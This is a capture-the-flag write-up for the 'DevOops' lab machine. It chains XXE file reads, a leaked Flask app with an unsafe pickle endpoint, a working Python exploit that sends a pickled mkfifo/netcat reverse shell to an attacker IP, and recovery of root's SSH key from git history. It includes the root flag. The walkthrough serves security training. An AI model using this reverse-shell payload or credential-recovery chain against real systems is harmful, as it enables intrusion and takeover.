DevOops

XXE with a git misconfiguration

Vulnerable endpoint /upload that seems succeptible to XXE.

When we use any generic XXE payload, we recieve an internal server error as it does not fit the requirements of the XML elements (Author, Subject, Content).

Adding these elements nested seems to fix the problem and we get our RFI!

We can easily get the user flag, knowing that the user is roosa and the file is user.txt.

But now we need a shell. We know that the file running the app is feed.py most likely located in roosa's home directory based on the file path leaked from the burp request.

Using our XXE payload, we can query for feed.py at /home/roosa/deploy/src/feed.py, getting the source code of the web application.

#feed.py
def uploaded_file(filename):
    return send_from_directory(Config.UPLOAD_FOLDER,
                               filename)

@app.route("/")
def xss():
    return template('index.html')

@app.route("/feed")
def fakefeed():
   return send_from_directory(".","devsolita-snapshot.png")

@app.route("/newpost", methods=["POST"])
def newpost():
  # TODO: proper save to database, this is for testing purposes right now
  picklestr = base64.urlsafe_b64decode(request.data)
#  return picklestr
  postObj = pickle.loads(picklestr)
  return "POST RECEIVED: " + postObj['Subject']


## TODO: VERY important! DISABLED THIS IN PRODUCTION
#app = DebuggedApplication(app, evalex=True, console_path='/debugconsole')
# TODO: Replace run-gunicorn.sh with real Linux service script
# app = DebuggedApplication(app, evalex=True, console_path='/debugconsole')

if __name__ == "__main__":
  app.run(host='0.0.0,0', Debug=True)

Cool, so we have a pickle vulnerability once again. We can quickly craft out reverse shell and pickle it.

import requests
import pickle 
import base64 
import os

cmd = 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.16.2 1234 >/tmp/f'
class RCEStr(object):
    def __reduce__(self):
        #if output is not shown, can use subprocess.check_output as well
        return  (os.system, (cmd,))
    
pickle_data = pickle.dumps(RCEStr())
payload = base64.urlsafe_b64encode(pickle_data)
print(payload)
# Define the URL to which the POST request will be made
url = 'http://10.10.10.91:5000/newpost'

# Define the data you want to send in the POST request
# This is just an example; replace with actual data as needed
data = payload

# Send the POST request to the specified URL with the defined data
response = requests.post(url, data=data)

# Print the response received from the server
print(response.text)

Viola, a shell appears.

To get root, we can checkout the .git directory where can read the commit history using git log

roosa@devoops:~/work/blogfeed/.git$ git log
commit 7ff507d029021b0915235ff91e6a74ba33009c6d
Author: Roosa Hakkerson <roosa@solita.fi>
Date:   Mon Mar 26 06:13:55 2018 -0400

    Use Base64 for pickle feed loading

commit 26ae6c8668995b2f09bf9e2809c36b156207bfa8
Author: Roosa Hakkerson <roosa@solita.fi>
Date:   Tue Mar 20 15:37:00 2018 -0400

    Set PIN to make debugging faster as it will no longer change every time the application code is changed. Remember to remove before production use.

commit cec54d8cb6117fd7f164db142f0348a74d3e9a70
Author: Roosa Hakkerson <roosa@solita.fi>
Date:   Tue Mar 20 15:08:09 2018 -0400

    Debug support added to make development more agile.

commit ca3e768f2434511e75bd5137593895bd38e1b1c2
Author: Roosa Hakkerson <roosa@solita.fi>
Date:   Tue Mar 20 08:38:21 2018 -0400

    Blogfeed app, initial version.

commit dfebfdfd9146c98432d19e3f7d83cc5f3adbfe94
Author: Roosa Hakkerson <roosa@solita.fi>
Date:   Tue Mar 20 08:37:56 2018 -0400

    Gunicorn startup script

commit 33e87c312c08735a02fa9c796021a4a3023129ad
Author: Roosa Hakkerson <roosa@solita.fi>
Date:   Mon Mar 19 09:33:06 2018 -0400

    reverted accidental commit with proper key

commit d387abf63e05c9628a59195cec9311751bdb283f
Author: Roosa Hakkerson <roosa@solita.fi>
Date:   Mon Mar 19 09:32:03 2018 -0400

    add key for feed integration from tnerprise backend

commit 1422e5a04d1b52a44e6dc81023420347e257ee5f
Author: Roosa Hakkerson <roosa@solita.fi>
Date:   Mon Mar 19 09:24:30 2018 -0400

    Initial commit

We see two interesting commit entries 33e87c312c08735a02fa9c796021a4a3023129ad and d387abf63e05c9628a59195cec9311751bdb283f.

Looking at blogfeed/resources/integration/authcredentials.key, we see that the key is a ssh private key.

If we extract the file using git checkout and try to login, we see that it is actually root's ssh key, thus getting our root flag.

(12) ┌──(12)─(kaliã‰ŋkali)-[~/Desktop/CTF/Web/DevOops]
└─$ ssh  -i root_rsa root@10.10.10.91 
Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.13.0-37-generic i686)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

135 packages can be updated.
60 updates are security updates.

Last login: Sat Feb 10 12:15:24 2024 from 10.10.16.2
root@devoops:~# ls
root.txt
root@devoops:~# cat root.txt
683827ed3e24a96e24b3c2fe1a7adbe1
root@devoops:~# 

Last updated